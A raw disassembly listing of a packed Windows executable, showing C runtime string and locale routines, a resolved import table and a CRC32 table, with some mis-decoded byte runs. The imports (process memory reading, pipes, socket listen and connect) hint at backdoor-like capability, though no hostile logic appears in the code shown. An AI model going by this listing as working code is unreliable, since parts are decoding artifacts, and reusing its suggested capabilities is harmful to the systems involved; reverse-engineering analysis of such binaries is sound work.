mov eax, [ecx+4]
test eax, eax
jnz short locret_426739
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_426739: ; CODE XREF: sub_42672D+5j
retn
sub_42672D endp
; =============== S U B R O U T I N E =======================================
sub_42673A proc near ; CODE XREF: .nsp0:00426752p
mov dword ptr [ecx], offset off_427D5C
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_42674E
push ecx
call sub_41B961
pop ecx
locret_42674E: ; CODE XREF: sub_42673A+Bj
retn
sub_42673A endp
; ---------------------------------------------------------------------------
loc_42674F: ; DATA XREF: .nsp0:off_427D5Co
push esi
mov esi, ecx
call sub_42673A
test byte ptr [esp+8], 1
jz short loc_426765
push esi
call sub_41D323
pop ecx
loc_426765: ; CODE XREF: .nsp0:0042675Cj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42676B proc near ; CODE XREF: sub_426290+54p
; sub_42635B+18p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D60
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call dword_42705C ; RaiseException
pop edi
pop esi
leave
retn 8
sub_42676B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4267A5 proc near ; CODE XREF: sub_4265F4+56p
; sub_4265F4+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_4267B7
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_4267B7: ; CODE XREF: sub_4267A5+Bj
cmp dword_4E15B0, 0
jnz short loc_4267D1
cmp ax, 41h
jb short locret_426818
cmp ax, 5Ah
ja short locret_426818
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4267D1: ; CODE XREF: sub_4267A5+19j
cmp ax, 100h
jnb short loc_4267EB
push 1
push eax
call sub_426A53
pop ecx
test eax, eax
pop ecx
jnz short loc_4267EB
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_4267EB: ; CODE XREF: sub_4267A5+30j
; sub_4267A5+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4E15B0
call loc_42681A
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426818
mov ax, [ebp+var_2]
locret_426818: ; CODE XREF: sub_4267A5+1Fj
; sub_4267A5+25j ...
leave
retn
sub_4267A5 endp
; ---------------------------------------------------------------------------
loc_42681A: ; CODE XREF: sub_4267A5+5Fp
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D80
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
xor esi, esi
cmp dword_4E1804, esi
jnz short loc_426890
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427918
mov edi, 100h
push edi
push esi
call dword_427050 ; LCMapStringW
test eax, eax
jz short loc_42686E
mov dword_4E1804, ebx
jmp short loc_426890
; ---------------------------------------------------------------------------
loc_42686E: ; CODE XREF: .nsp0:00426864j
push esi
push esi
push ebx
push offset dword_4D10A8
push edi
push esi
call near ptr 0B40000h
sbb [ebp-767BF040h], eax
add [eax], eax
add bh, al
add eax, offset dword_4E1804
add al, [eax]
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
loc_426890: ; CODE XREF: .nsp0:00426848j
; .nsp0:0042686Cj
cmp [ebp+14h], esi
jle short loc_4268A5
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
call sub_426A23
pop ecx
pop ecx
mov [ebp+14h], eax
loc_4268A5: ; CODE XREF: .nsp0:00426893j
mov eax, dword_4E1804
cmp eax, 1
jnz short loc_4268CC
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_427050 ; LCMapStringW
jmp loc_426A11
; ---------------------------------------------------------------------------
loc_4268CC: ; CODE XREF: .nsp0:004268ADj
cmp eax, 2
jnz loc_426A0F
cmp [ebp+20h], esi
jnz short loc_4268E2
mov eax, dword_4E15C0
mov [ebp+20h], eax
loc_4268E2: ; CODE XREF: .nsp0:004268D8j
push esi
push esi
push esi
push esi
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push 220h
push dword ptr [ebp+20h]
call dword_427180 ; WideCharToMultiByte
mov [ebp-20h], eax
cmp eax, esi
jz loc_426A0F
mov [ebp-4], esi
add eax, 3
and al, 0FCh
call sub_41C1D0
mov [ebp-18h], esp
mov eax, esp
mov [ebp-1Ch], eax
jmp short loc_426928
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor esi, esi
mov [ebp-1Ch], esi
loc_426928: ; CODE XREF: .nsp0:0042691Aj
or dword ptr [ebp-4], 0FFFFFFFFh
cmp [ebp-1Ch], esi
jz loc_426A0F
push esi
push esi
push dword ptr [ebp-20h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push 220h
push dword ptr [ebp+20h]
call dword_427180 ; WideCharToMultiByte
test eax, eax
jz loc_426A0F
push esi
push esi
push dword ptr [ebp-20h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 0B40000h
db 64h
mov edi, eax
mov [ebp-2Ch], edi
cmp edi, esi
jz loc_426A0F
mov dword ptr [ebp-4], 1
add eax, 3
and al, 0FCh
call sub_41C1D0
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-24h], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_4269AB
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor esi, esi
xor ebx, ebx
or dword ptr [ebp-4], 0FFFFFFFFh
mov edi, [ebp-2Ch]
loc_4269AB: ; CODE XREF: .nsp0:00426997j
cmp ebx, esi
jz short loc_426A0F
push edi
push ebx
push dword ptr [ebp-20h]
push dword ptr [ebp-1Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call near ptr 0B40000h
lock test eax, eax
jz short loc_426A0F
test byte ptr [ebp+0Dh], 4
jz short loc_4269E9
mov eax, [ebp+1Ch]
cmp eax, esi
jz short loc_426A0B
cmp eax, edi
jl short loc_4269DA
mov eax, edi
loc_4269DA: ; CODE XREF: .nsp0:004269D6j
push eax
push ebx
push dword ptr [ebp+18h]
call sub_41BCA0
add esp, 0Ch
jmp short loc_426A0B
; ---------------------------------------------------------------------------
loc_4269E9: ; CODE XREF: .nsp0:004269CBj
cmp [ebp+1Ch], esi
jnz short loc_4269F2
push esi
push esi
jmp short loc_4269F8
; ---------------------------------------------------------------------------
loc_4269F2: ; CODE XREF: .nsp0:004269ECj
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
loc_4269F8: ; CODE XREF: .nsp0:004269F0j
push edi
push ebx
push 1
push dword ptr [ebp+20h]
call dword_427184 ; MultiByteToWideChar
mov edi, eax
cmp edi, esi
jz short loc_426A0F
loc_426A0B: ; CODE XREF: .nsp0:004269D2j
; .nsp0:004269E7j
mov eax, edi
jmp short loc_426A11
; ---------------------------------------------------------------------------
loc_426A0F: ; CODE XREF: .nsp0:004268CFj
; .nsp0:004268FFj ...
xor eax, eax
loc_426A11: ; CODE XREF: .nsp0:004268C7j
; .nsp0:00426A0Dj
lea esp, [ebp-38h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_426A23 proc near ; CODE XREF: .nsp0:0042689Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426A42
loc_426A33: ; CODE XREF: sub_426A23+1Dj
cmp word ptr [eax], 0
jz short loc_426A42
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_426A33
loc_426A42: ; CODE XREF: sub_426A23+Ej
; sub_426A23+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_426A50
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_426A50: ; CODE XREF: sub_426A23+24j
mov eax, edx
retn
sub_426A23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426A53 proc near ; CODE XREF: sub_4267A5+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_426A93
cmp [ebp+arg_0], 100h
jnb short loc_426A77
movzx eax, [ebp+arg_0]
mov ecx, off_442564
mov ax, [ecx+eax*2]
jmp short loc_426A9A
; ---------------------------------------------------------------------------
loc_426A77: ; CODE XREF: sub_426A53+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call loc_426AA5
add esp, 18h
test eax, eax
jnz short loc_426A97
loc_426A93: ; CODE XREF: sub_426A53+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_426A97: ; CODE XREF: sub_426A53+3Ej
mov eax, [ebp+var_4]
loc_426A9A: ; CODE XREF: sub_426A53+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_426A53 endp
; ---------------------------------------------------------------------------
loc_426AA5: ; CODE XREF: sub_426A53+34p
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D98
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp-18h], esp
mov eax, dword_4E1808
xor edi, edi
cmp eax, edi
jnz short loc_426B14
lea eax, [ebp-1Ch]
push eax
push 1
pop esi
push esi
push offset dword_427918
push esi
call dword_427020 ; GetStringTypeW
test eax, eax
jz short loc_426AF2
mov eax, esi
jmp short loc_426B0F
; ---------------------------------------------------------------------------
loc_426AF2: ; CODE XREF: .nsp0:00426AECj
lea eax, [ebp-1Ch]
push eax
push esi
push offset dword_4D10A8
push esi
push edi
call near ptr 0B40000h
int 85h
ror byte ptr [edi], 84h
dec edx
add [eax], eax
add [edx+2], ch
pop eax
loc_426B0F: ; CODE XREF: .nsp0:00426AF0j
mov dword_4E1808, eax
loc_426B14: ; CODE XREF: .nsp0:00426AD4j
cmp eax, 1
jnz short loc_426B30
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call dword_427020 ; GetStringTypeW
jmp loc_426C58
; ---------------------------------------------------------------------------
loc_426B30: ; CODE XREF: .nsp0:00426B17j
cmp eax, 2
jnz loc_426C56
cmp [ebp+18h], edi
jnz short loc_426B46
mov eax, dword_4E15C0
mov [ebp+18h], eax
loc_426B46: ; CODE XREF: .nsp0:00426B3Cj
push edi
push edi
push edi
push edi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push 220h
push dword ptr [ebp+18h]
call dword_427180 ; WideCharToMultiByte
mov esi, eax
mov [ebp-28h], esi
cmp esi, edi
jz loc_426C56
mov [ebp-4], edi
add eax, 3
and al, 0FCh
call sub_41C1D0
mov [ebp-18h], esp
mov eax, esp
mov [ebp-2Ch], eax
push esi
push edi
push eax
call sub_41BC40
add esp, 0Ch
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_426BA4
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
mov [ebp-2Ch], edi
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-28h]
loc_426BA4: ; CODE XREF: .nsp0:00426B8Fj
cmp [ebp-2Ch], edi
jz loc_426C56
push edi
push edi
push esi
push dword ptr [ebp-2Ch]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push 220h
push dword ptr [ebp+18h]
call dword_427180 ; WideCharToMultiByte
test eax, eax
jz loc_426C56
mov dword ptr [ebp-4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C1D0
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-24h], ebx
jmp short loc_426BF9
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
xor edi, edi
xor ebx, ebx
loc_426BF9: ; CODE XREF: .nsp0:00426BECj
or dword ptr [ebp-4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426C56
mov eax, [ebp+1Ch]
cmp eax, edi
jnz short loc_426C0D
mov eax, dword_4E15B0
loc_426C0D: ; CODE XREF: .nsp0:00426C06j
mov ecx, [ebp+10h]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push dword ptr [ebp-28h]
push dword ptr [ebp-2Ch]
push dword ptr [ebp+8]
push eax
call near ptr 0B40000h
and cl, [ecx-7E991FBBh]
loc_426C37: ; CODE XREF: .nsp0:loc_426C37j
jle short loc_426C37
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 74h
dd 3E816619h, 1275FFFFh, 75FF5357h, 66E2E814h, 0C483FFFFh
dd 0E0458B0Ch
; ---------------------------------------------------------------------------
jmp short loc_426C58
; ---------------------------------------------------------------------------
loc_426C56: ; CODE XREF: .nsp0:00426B33j
; .nsp0:00426B65j ...
xor eax, eax
loc_426C58: ; CODE XREF: .nsp0:00426B2Bj
; .nsp0:00426C54j
lea esp, [ebp-38h]
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_426C6C: ; DATA XREF: .nsp0:00427F5Co
lea ecx, [ebp-38h]
jmp loc_40D3BE
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426C8A
mov ecx, [ebp+8]
jmp loc_40D3BE
; ---------------------------------------------------------------------------
locret_426C8A: ; CODE XREF: .nsp0:00426C7Cj
retn
; ---------------------------------------------------------------------------
loc_426C8B: ; DATA XREF: sub_40CF88o
mov eax, offset dword_427F30
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D3BE
; ---------------------------------------------------------------------------
loc_426CA0: ; DATA XREF: .nsp0:00427F8Co
lea ecx, [ebp-1Ch]
jmp loc_40D3BE
; ---------------------------------------------------------------------------
loc_426CA8: ; DATA XREF: sub_40D12Ao
mov eax, offset dword_427F60
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 4
loc_426CB4: ; DATA XREF: sub_40D6A1o
mov eax, offset dword_427F90
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-20h]
jmp loc_40D3BE
; ---------------------------------------------------------------------------
loc_426CC8: ; DATA XREF: sub_426290o
mov eax, offset dword_428068
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-14h]
jmp sub_426717
; ---------------------------------------------------------------------------
loc_426CDC: ; DATA XREF: sub_4262EAo
mov eax, offset dword_428090
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_426717
; ---------------------------------------------------------------------------
loc_426CF0: ; DATA XREF: sub_426378o
mov eax, offset dword_4280D8
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_426717
; ---------------------------------------------------------------------------
loc_426D04: ; DATA XREF: sub_4263D1o
mov eax, offset dword_428100
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_426717
; ---------------------------------------------------------------------------
loc_426D18: ; DATA XREF: sub_42642Eo
mov eax, offset dword_428128
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_40D3BE
; ---------------------------------------------------------------------------
loc_426D2C: ; DATA XREF: sub_4264BCo
mov eax, offset dword_428190
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_426717
; ---------------------------------------------------------------------------
loc_426D40: ; DATA XREF: sub_426516o
mov eax, offset dword_4281B8
jmp loc_41CFBF
; ---------------------------------------------------------------------------
align 4
dd 0ADh dup(0)
dword_427000 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_41011E+5D7r
dd 7C833478h
dword_427008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_425D2F+261r
dword_42700C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_425D2F+B9r
dd 7C832044h, 7C80BCCFh, 7C809E01h
dword_42701C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; .nsp0:004245C9r
dword_427020 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; .nsp0:00423C7Cr ...
dd 7C838A0Ch, 7C812641h, 7C81DC03h, 7C810E51h, 7C812F39h
dd 7C80CC97h
dword_42703C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_427040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_4230EC+E1r
dword_427044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsW dd 7C81DF77h
dword_42704C dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_427050 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; .nsp0:00422B08r ...
dd 7C838DE8h
dword_427058 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_42705C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_42676B+2Er
dd 7C8127A7h
dword_427064 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401135+29r ...
dword_427068 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; .nsp0:0040422Ar ...
dword_42706C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40C574+9Dr ...
dd 7C802367h, 7C80B4CFh, 7C814EEAh
dword_42707C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; .nsp0:00402513r ...
dd 7C831EABh
dword_427084 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess dd 7C809920h
dword_42708C dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; .nsp0:loc_4037D6r ...
dd 7C8286EEh, 7C812782h
dword_427098 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_41DA8E+4r
dword_42709C dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA dd 7C802520h, 7C80E93Fh
dword_4270A8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; .nsp0:00404028r ...
dword_4270AC dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread dd 7C835DCAh, 7C835E8Fh
dword_4270B8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_409A6D:loc_409F7Br ...
dword_4270BC dd 9C7574h ; sub_417517+60r ...
dd 7C8216A4h
dword_4270C4 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_4270C8 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_418C8D+32r ...
dd 7C80C058h
dword_4270D0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4270D4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4270D8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4270DC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; .nsp0:0040C477r
dd 7C810D87h, 7C8308ADh
dword_4270E8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; .nsp0:0040E095r ...
dword_4270EC dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40E7D2+1CBr ...
dd 7C8312E5h, 7C801E16h, 7C80DDFEh
dword_4270FC dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; .nsp0:0041A566r
dword_427100 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; .nsp0:0041A528r
dd 7C83632Dh, 7C8361EEh, 7C810A77h, 7C80EDD7h, 7C80E7ECh
dd 7C80E866h
dword_42711C dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_427120 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; .nsp0:0041667Er ...
dd 7C81B58Bh, 7C80A05Dh, 7C873A31h
dword_427130 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_4157A6+Dr ...
dd 7C80A427h, 7C82FA46h, 7C80ABDEh
dword_427140 dd 7C80F0F4h ; resolved to->KERNEL32.GetEnvironmentVariableWdword_427144 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_4176E9+F5r ...
dword_427148 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; .nsp0:004178BCr ...
dword_42714C dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; .nsp0:004178B2r ...
dword_427150 dd 7C80B9A0h ; resolved to->KERNEL32.VirtualQueryEx ; sub_417A19+55r
dword_427154 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemorydword_427158 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfo ; sub_417A19+2Er
dd 7C82F7A0h
dword_427160 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_427164 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLock dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
dd 7C8329D9h
dword_427180 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; .nsp0:00422BC8r ...
dword_427184 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_41DF04+54r ...
dword_427188 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA dd 7C81AE17h, 7C85F90Fh, 7C830B14h, 7C8310F2h
dword_42719C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41EA06+28r
dword_4271A0 dd 7C937A40h ; resolved to->NTDLL.RtlUnwind dd 7C8350BFh, 7C80176Bh, 7C801EEEh, 7C812F1Dh
dword_4271B4 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4271B8 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_4271BC dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4271C0 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_4271C4 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41EAB7+51r
dd 7C809E79h, 7C812E76h, 7C809915h, 0
dword_4271D8 dd 71B2517Fh align 10h
dword_4271E0 dd 71AB46C9h ; resolved to->WS2_32.getsockopt dd 71AB2B66h, 71AB3F41h
dword_4271EC dd 71AB4428h ; resolved to->WS2_32.WSACleanupdword_4271F0 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40F77A+15r
dword_4271F4 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_413CC1+70r ...
dword_4271F8 dd 71AB3E00h ; resolved to->WS2_32.binddword_4271FC dd 71AB88D3h ; resolved to->WS2_32.listendword_427200 dd 71AC1028h ; resolved to->WS2_32.acceptdword_427204 dd 71AB8769h ; resolved to->WS2_32.WSASocketAdword_427208 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40EAA2+36r ...
dword_42720C dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40EAA2+59r ...
dword_427210 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_40F168+5Ar
dword_427214 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40E18F+28Br ...
dword_427218 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40E18F:loc_40E5E5r ...
dword_42721C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40E18F+15r ...
dword_427220 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40E18F+A4r ...
dword_427224 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40F168+106r
dword_427228 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_42722C dd 71AB951Eh ; resolved to->WS2_32.getsocknamedword_427230 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40EAA2+27r ...
align 8
dword_427238 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
